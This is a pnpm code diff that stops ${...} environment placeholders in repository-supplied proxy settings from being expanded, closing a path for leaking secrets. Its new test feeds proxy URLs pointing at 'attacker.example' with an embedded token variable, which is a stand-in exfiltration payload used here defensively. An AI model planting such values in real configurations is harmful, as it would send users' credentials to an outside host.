diff --git a/.changeset/proxy-fields-env-expansion.md b/.changeset/proxy-fields-env-expansion.md new file mode 100644 index 0000000000..6f6cadd8b4 --- /dev/null +++ b/.changeset/proxy-fields-env-expansion.md @@ -0,0 +1,6 @@ +--- +"@pnpm/config": patch +"pnpm": patch +--- + +`${...}` environment-variable placeholders in the `httpProxy`, `httpsProxy`, `noProxy`, `proxy`, and `noproxy` settings are no longer expanded when these settings come from a project's `pnpm-workspace.yaml`. They now receive the same protection already applied to `registry`. diff --git a/config/config/src/getOptionsFromRootManifest.ts b/config/config/src/getOptionsFromRootManifest.ts index c20e3ec60d..e897156562 100644 --- a/config/config/src/getOptionsFromRootManifest.ts +++ b/config/config/src/getOptionsFromRootManifest.ts @@ -120,7 +120,7 @@ export function getOptionsFromPnpmSettings (manifestDir: string, pnpmSettings: P // root manifest are repository-controlled, so expanding ${...} placeholders // in these values would let a repository exfiltrate environment variables // through the URLs pnpm sends requests to. -const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry']) +const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry', 'httpProxy', 'httpsProxy', 'noProxy', 'proxy', 'noproxy']) function replaceEnvInSettings (settings: PnpmSettings): PnpmSettings { const newSettings: PnpmSettings = {} diff --git a/config/config/test/getOptionsFromRootManifest.test.ts b/config/config/test/getOptionsFromRootManifest.test.ts index 65de8a49ac..1a606ed4d6 100644 --- a/config/config/test/getOptionsFromRootManifest.test.ts +++ b/config/config/test/getOptionsFromRootManifest.test.ts @@ -183,6 +183,25 @@ test('getOptionsFromPnpmSettings() ignores env variables inside registry setting expect(options.registry).toBeUndefined() }) +test('getOptionsFromPnpmSettings() ignores env variables inside proxy settings', () => { + process.env.PNPM_TEST_TOKEN = 'secret' + /* eslint-disable no-template-curly-in-string */ + const options = getOptionsFromPnpmSettings(process.cwd(), { + httpsProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + httpProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + noProxy: '${PNPM_TEST_TOKEN}.example.com', + proxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + noproxy: '${PNPM_TEST_TOKEN}.example.com', + } as any) as any // eslint-disable-line + /* eslint-enable no-template-curly-in-string */ + expect(options.httpsProxy).toBeUndefined() + expect(options.httpProxy).toBeUndefined() + expect(options.noProxy).toBeUndefined() + expect(options.proxy).toBeUndefined() + expect(options.noproxy).toBeUndefined() + expect(JSON.stringify(options)).not.toContain('secret') +}) + test('getOptionsFromPnpmSettings() keeps a registry setting without env placeholders', () => { const options = getOptionsFromPnpmSettings(process.cwd(), { registry: 'https://registry.example.com/npm/',